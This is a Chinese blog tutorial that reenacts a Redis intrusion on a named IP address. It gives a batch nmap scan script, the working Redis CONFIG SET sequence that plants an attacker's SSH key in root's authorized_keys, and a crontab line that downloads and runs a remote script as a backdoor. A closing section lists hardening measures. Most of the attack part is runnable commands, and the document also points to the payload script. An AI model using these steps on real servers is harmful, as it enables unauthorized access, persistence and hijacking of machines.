引言:
前几天写的文章,有朋友说太难有人说实用性不强,不过之前定了那个主题,我还是会写完,开弓没有回头箭。写这篇文章是有自于4年前的一次服务器被入侵提权的思考,当时服务器被人提权当作矿机使用。后来经过好几个小时的折腾逆向了这个病毒脚本,并且摘除。中木马的原因是因为运维同学当时设置redis密码过于简单,而且一些安全防护没有设置,然后就被提权种马。
文章中涉及到的脚本:
https://github.com/Diamonds-ZhaoYu/hk_Intrusion/
入侵实践
上图是根据那次入侵我简单画的一个流程图,根据上图我们可以做一个深度思考。我们现实生活中所谓的安全,其实分为几个情况:系统漏洞、软件漏洞,人为因素影响等等。其实绝大部份的安全事件都是人为因为影响,这个和人的习惯有关系。比如说个人的密码,大家都喜欢用一些自己容易取记忆的,这种情况是很常见的,前段时间我就看到某某某技术大佬账户密码被爆库等等。
俗话说的好“预先利其事必先利其器”。我们既然要做这件事,就要知道怎么做。
入侵技术概述
工具篇
说到工具我们涉及到黑客的工具有很多,比如说:
1)nmap
网络端口扫描工具,是“Kali Linux”最受欢迎的信息收集工具。
2)fping
批量主机检测工具,可以进行IP端主机检测。
3)hping
hping是一个强大的命令行下使用的TCP/IP数据包组装/分析工具,其命令模式很像Unix下的ping命令,但是它不是只能发送ICMP回应请求,它还可以支持TCP、UDP、ICMP和RAW-IP协议,它有一个路由跟踪模式,能够在两个相互包含的通道之间传送文件。该工具可以模拟ddos攻击。
4)Social Engineering Toolkit (SET)
如果你需要渗透测试,这个是一个检查的最佳工具。
5)Nikto
这个是一款强大的web服务扫描工具,它会查到潜在的危险文件/程序,过时的服务器版本。
6)Snort
一款流量数据包分析记录工具。
7)John the Ripper
John the Ripper 是 Kali Linux 上流行的密码破解工具。
8)sqlmap
一款开源的渗透工具,它可以自动化利用SQL注入漏洞,并且接管数据库服务器。
9)Hydra
破解登录密码登陆工具, Kali Linux的预装工具。
以上都是一些比较实用的工具,不过我们今天的内容并不涉及那么多,我们关注一个工具就好,就是nmap。
nmap基础用法:
参数介绍:
-vv 设置堆结果详细输出
命令语法:namp -vv
例子:nmap -vv www.baidu.com
-p 设置端口检测范围,端口范围不能超过1 ~ 65535
命令语法:nmap -p(range)
例子: nmap -p1-80 -vv www.baidu.com
-F 一次快速扫描,仅扫描列在nmap-services文件中的端口而避开所有其它的端口
-sT 3次握手方式tcp的扫描
-n 从不执行DNS解析/总是解析[默认:有时]
-v 提高详细程度(使用-vv或更大的效果)
nmap功能特别强大,如果是感兴趣可以通过man nmap查看一下官方文档:
https://nmap.org/man/zh/
漏洞相关知识
我们要学习本章前,需要了解一些相关的漏洞知识。比如说一些常见的安全渗透端口。
如下所示:
名称 |
介绍 |
端口号 |
攻击方式 |
备注 |
FTP服务 |
ftp提供文件存储和访问服务 |
20、21、69 |
弱口令 |
爆破工具:Bruter |
SSH服务 |
ssh提供linux/unix远程终端连接服务 |
22 |
弱口令、28退格漏洞、OpenSSL漏洞 |
|
Telnet服务 |
telnet是传输控制协议服务 |
23 |
弱口令 |
|
NFS服务 |
nfs网络文件服务系统 |
2049 |
未授权访问 |
|
Samba服务 |
提供文件共享服务 |
137、139 |
弱口令 |
爆破工具:hydra |
LADP协议 |
轻量目录访问协议,企业中大量用到 |
389 |
弱口令 |
|
Windows远程服务 |
提供远程windows连接服务 |
3389 |
弱口令 |
爆破工具:ms12-020 |
VNC服务 |
远程控制工具服务 |
5901、5902 |
弱口令 |
|
Web应用服务 |
网站,API等访问服务 |
80、81、443、8080 |
渗透、SQL注入漏洞等 |
|
Redis数据库服务 |
开源的key/value数据库 |
6379 |
未授权访问、弱口令 |
|
Rsync服务 |
rsync提供服务器间的文件同步服务 |
873 |
未授权访问 |
其实网络中的漏洞远远只看到的这些,还有很多很多。
如果想了解一些漏洞信息,可以关注下国家信息安全漏洞共享平台:
https://www.cnvd.org.cn/
如果想通过漏洞赚钱,或者学习一些白帽知识可以关注下补天:
https://www.butian.net/
如果想看一些存在漏洞的服务器,可以看一下知道创宇的钟馗之眼:
https://www.zoomeye.org/
提权实践
本次我们文章开篇的那一次事情做一个完整的事件模拟,演练下整个被入侵的过程:
咱们如果把自己当成那个黑客同学,我们想入侵前要做的第一件事情就是找宿主。
扫描主机:
#nmap -p 6379 47.98.118.229
扫描47.98.118.229主机是否存在redis服务;我们看到这个服务是打开redis服务的,当然在实际的扫描中并不是像我这样直接一个扫,都是大批量大批量的扫描。这样我们可以写一个脚本直接批量扫描;
#!/bin/bash
BASE_DIR=`pwd`
IPLIST=`cat ${BASE_DIR}/ip.txt`
LOG_DIR=${BASE_DIR}/logs
LOG_FILE=${LOG_DIR}/scan.log
if [ ! -d ${LOG_DIR} ];
then
mkdir -p ${LOG_DIR}
fi
for ips in ${IPLIST}
do
nmap -sT -v -n $ips >>${LOG_FILE}
done
ip.txt 文件
这个脚本很简单,它打开一个ip.txt文件,这个文件是一个IP段地址,然后通过nmap批量扫描,扫描后的结果我们存在scan.log文件中。
后续我们想拿到开放IP的结果直接可以linux命令grep自己过滤。
提权操作
我们根据以上的的扫描可以得到一些开放端口的主机,开放端口的主机可以扫描它们是否存在漏洞。拿到信息后我们就可以开始提权操作。这一块我先简单说一下,其实在我们redis中是存在一个很严重的提权漏洞,还有执行漏洞。当然很多软件也存在,比如说mysql等等。
redis这个数据有一个特性,就是持久化。持久化这个过程我们是可以通过命令去改变它的存储目录。我们来看一个简单的图:
图中其实就是我们整个提权的过程。
直接提权:
把本机ssh公钥匙写入到user.txt文件
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > user.txt
连接redis通过set crackit写入user.txt文件
cat user.txt | redis-cli -h 47.98.118.229 -x set crackit
连接redis服务器
#redis-cli -h 47.98.118.229
连接服务后可以查看我们写入到文件
设置redis持久化目录
47.98.118.229:6379> config set dir /root/.ssh/
查看目录
47.98.118.229:6379> config get dir
设置文件名称authorized_keys,其实就是在root的ssh下设置一个authorized_keys,大家都知道authorized_keys是干嘛的吧?在authorized_keys文件中写入公钥的话,其实就等于免密登陆。
47.98.118.229:6379> config set dbfilename "authorized_keys"
保存数据
47.98.118.229:6379> save
来看看我们服务器上的/root/.ssh/authorized_keys 文件
试试能否登陆。
轻松提权成功。
真实的场景中会有很多不可控因素,比如说没有root权限,这种咱们就可以用crontab写入进行提权,间接性写入免密登陆或者创建账户。
如果要实现这点,我们可以把user.txt文件存入:
*/1 * * * * (curl -fsSLk --connect-timeout 26 --max-time 175 https://www.test.com/crackit.sh -o /usr/local/bin/npt ) && chmod +x /usr/local/bin/npt && sh /usr/local/bin/npt
然后把redis的持久化地址改为 /var/spool/下的at或者是cron目录,文件名根据用户名。这样的话crontab第一次拉取shell执行后,执行的shell加入一些后门。这样就可以做到我们开篇文章的提权思路。
crackit.sh 脚本我提供在github中。
防御措施:
1)不能使用root权限启动账号,启动账号设置为nologin
2)redis密码设置复杂一点
3)redis的redis.conf需要禁用掉高危命令:
rename-command FLUSHALL delflushall
rename-command CONFIG conf
以上 只是修改名称,你们可以随意。
安全防御思考
根据该次安全事件之后,我们得到一个思考。其实只要有网络,我们的信息都会直接和间接的被暴露出来。暴露出来,有可能是因为一些不小心,也有可能因为服务的漏洞,或者人为因素。
除了以上对服务漏洞的处理措施,我们可以在我们整理的应用中做一些安全考虑,比如说:
1)服务器网络的三层或者是二层,这样做到网络隔绝。如果要连接服务可以通过jumpserver或者是跳板机。
2)linux的一些安全策略,除了安全策略以外我们可以做自己的一些特征库,得知我们哪些文件被串改过。
可以通过:
find ./ -type f -print0 | xargs -0 md5sum
命令生成一个md5特征库,如果主要文件被串改后,下一次生成的库两次做diff比较就可以知道。
3)加入一些反删除策略,比如说extundelete。避免被入侵后非法删除一些文件。
4)自身有良好的习惯,降低安全风险。比如说密码的随机更换,自己公钥匙不要乱放等等。
这个要说的话就比较多了,咱们本次的文章就先到这。要是有想了解更多的可以单独找我。
谢谢大家支持。